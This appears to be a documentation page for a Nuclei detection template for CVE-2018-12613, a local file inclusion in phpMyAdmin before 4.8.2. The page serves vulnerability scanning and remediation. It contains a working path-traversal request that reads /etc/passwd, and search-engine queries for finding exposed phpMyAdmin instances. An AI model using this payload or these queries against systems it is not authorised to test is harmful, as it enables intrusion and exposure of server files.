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PhpMyAdmin <4.8.2 - Local File Inclusion

ID: CVE-2018-12613

Severity: high

Author: pikpikcu

Tags: cve,cve2018,vulhub,edb,phpmyadmin,lfi

Description

Section titled “Description”

PhpMyAdmin before version 4.8.2 is susceptible to local file inclusion that allows an attacker to include (view and potentially execute) files on the server. The vulnerability comes from a portion of code where pages are redirected and loaded within phpMyAdmin, and an improper test for whitelisted pages. An attacker must be authenticated, except in the “$cfg[‘AllowArbitraryServer’] = true” case (where an attacker can specify any host he/she is already in control of, and execute arbitrary code on phpMyAdmin) and the “$cfg[‘ServerDefault’] = 0” case (which bypasses the login requirement and runs the vulnerable code without any authentication).

YAML Source

Section titled “YAML Source”
id: CVE-2018-12613


info:
  name: PhpMyAdmin <4.8.2 - Local File Inclusion
  author: pikpikcu
  severity: high
  description: PhpMyAdmin before version 4.8.2 is susceptible to local file inclusion that allows an attacker to include (view and potentially execute) files on the server. The vulnerability comes from a portion of code where pages are redirected and loaded within phpMyAdmin, and an improper test for whitelisted pages. An attacker must be authenticated, except in the "$cfg['AllowArbitraryServer'] = true" case (where an attacker can specify any host he/she is already in control of, and execute arbitrary code on phpMyAdmin) and the "$cfg['ServerDefault'] = 0" case (which bypasses the login requirement and runs the vulnerable code without any authentication).
  impact: |
    An attacker can exploit this vulnerability to read arbitrary files on the server.
  remediation: |
    Upgrade PhpMyAdmin to version 4.8.2 or later to fix the vulnerability.
  reference:
    - https://github.com/vulhub/vulhub/tree/master/phpmyadmin/CVE-2018-12613
    - https://www.phpmyadmin.net/security/PMASA-2018-4/
    - https://www.exploit-db.com/exploits/44928/
    - https://nvd.nist.gov/vuln/detail/CVE-2018-12613
    - https://security.gentoo.org/glsa/201904-16
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2018-12613
    cwe-id: CWE-287
    epss-score: 0.97369
    epss-percentile: 0.99902
    cpe: cpe:2.3:a:phpmyadmin:phpmyadmin:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: phpmyadmin
    product: phpmyadmin
    shodan-query:
      - http.title:"phpmyadmin"
      - http.component:"phpmyadmin"
      - cpe:"cpe:2.3:a:phpmyadmin:phpmyadmin"
    fofa-query:
      - title="phpmyadmin"
      - body="pma_servername" && body="4.8.4"
    google-query: intitle:"phpmyadmin"
    hunter-query: app.name="phpmyadmin"&&web.body="pma_servername"&&web.body="4.8.4"
  tags: cve,cve2018,vulhub,edb,phpmyadmin,lfi


http:
  - method: GET
    path:
      - '{{BaseURL}}/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd'


    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
# digest: 490a004630440220704c9273dd32268849d5a3b938128946ca5158f03325fb9b58dfbee0e9bacc5f02203121f6189816855a000a0605486d08ef7772913dae079da4f5ddc04cd3a2ba29:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2018/CVE-2018-12613.yaml"

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